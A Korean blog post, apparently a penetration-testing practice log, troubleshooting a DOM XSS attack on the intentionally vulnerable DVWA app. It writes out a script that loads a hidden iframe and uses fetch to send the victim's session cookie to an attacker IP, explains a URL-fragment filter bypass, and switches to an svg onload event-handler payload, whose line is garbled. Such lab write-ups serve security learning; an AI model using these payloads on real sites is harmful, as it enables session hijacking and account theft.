[Troubleshooting] innerHTML <script>

LGE·2026년 3월 13일

모의해킹 실습 중, DVWA DOM XSS(Medium) 환경에서 다른 페이지의 세션 정보를 탈취하기 위해 스크립트를 구성하였는데 실행되지 않았다. 이건 그 이야기이다,.,.,.


1. 상황

SOP를 우회하기 위해 Iframe을 사용하여 /vulnerabilities/weak_id/Path가 설정된 dvwaSession을 탈취하기 위해 다음과 같이 스크립트를 작성하였다.

#<script>
var i = document.createElement('iframe');
i.src = '/DVWA/vulnerabilities/weak_id/';
i.style.display = 'none';
i.onload = function() {
    fetch('[http://[공격자 IP 주소]/?time=](http://[공격자 IP 주소]/?time=)' + Math.floor(Date.now()/1000) + '&cookie=' + i.contentWindow.document.cookie);
};
document.body.appendChild(i);
</script>

음 내가 작성한 스크립트의 원리는

  • URL Fragment(#)을 활용했다. XSS(DOM) 서버 측 소스코드를 보면 <script 차단 로직이 있기 때문에 이를 우회하기 위해서이다.
  • iframe을 생성하여 타겟 페이지(/weak_id/)를 백그라운드에서 로드한다.
  • 페이지 로드가 완료(onload)되면, i.contentWindow.document.cookie를 통해 해당 페이지의 쿠키를 읽는다.
  • fetch API를 사용하여 내 서버로 시간 정보와 쿠키를 전송한다.

였는데 스크립트가 실행되지 않았다.



2. 원인

스크립트가 잘못 작성된 게 아니라 브라우저와 HTML의 구조적 특징 때문에 실행이 되지 않았다.

DVWA는 입력값을 innerHTML을 통해 DOM에 주입하게 되는데, HTML5 보안 명세에 따르면 innerHTML로 삽입된 <script> 태그는 실행되지 않는다고 한다.

해당 코드는 DVWA Medium 레벨의 XSS(DOM) 클라이언트 측 소스코드이다. 73~75번 줄을 보면 사용자 입력값이 document.location.href()를 통해 lang 변수로 저장되고 있다.

내가 작성한 스크립트는 <option> 태그 내부의 Value 값으로 (InnerHTML)로 들어가게 된다.

즉 브라우저는 "동적으로 들어온 스크립트는 위험하다"고 판단하여 구문 분석만 하고 실행은 거부하여 실행이 되지 않았던 것이다

3. 해결

<script> 태그말고 이벤트 속성을 이용하여 작성해주었다. innerHTML은 태그는 차단해도, 그 안의 onerror나 onload 속성에 담긴 자바스크립트는 실행한다고 하니 이를 우회하도록 시도했다.

<svg> 태그가 로드되는 순간(onload) 내가 짠 로직이 실행되도록 했다.

`></option>
<svghttps://velog.velcdn.com/images/igoeun0131/post/d5d5229b-29af-48ee-9090-60b6aebbc4a6/image.png">



4. 결론

동적으로 삽입되는 <script>는 브라우저가 실행하지 않는다.
브라우저 보안 규칙을 좀 찾아봐야겠다.

profile
안녕하세요

0개의 댓글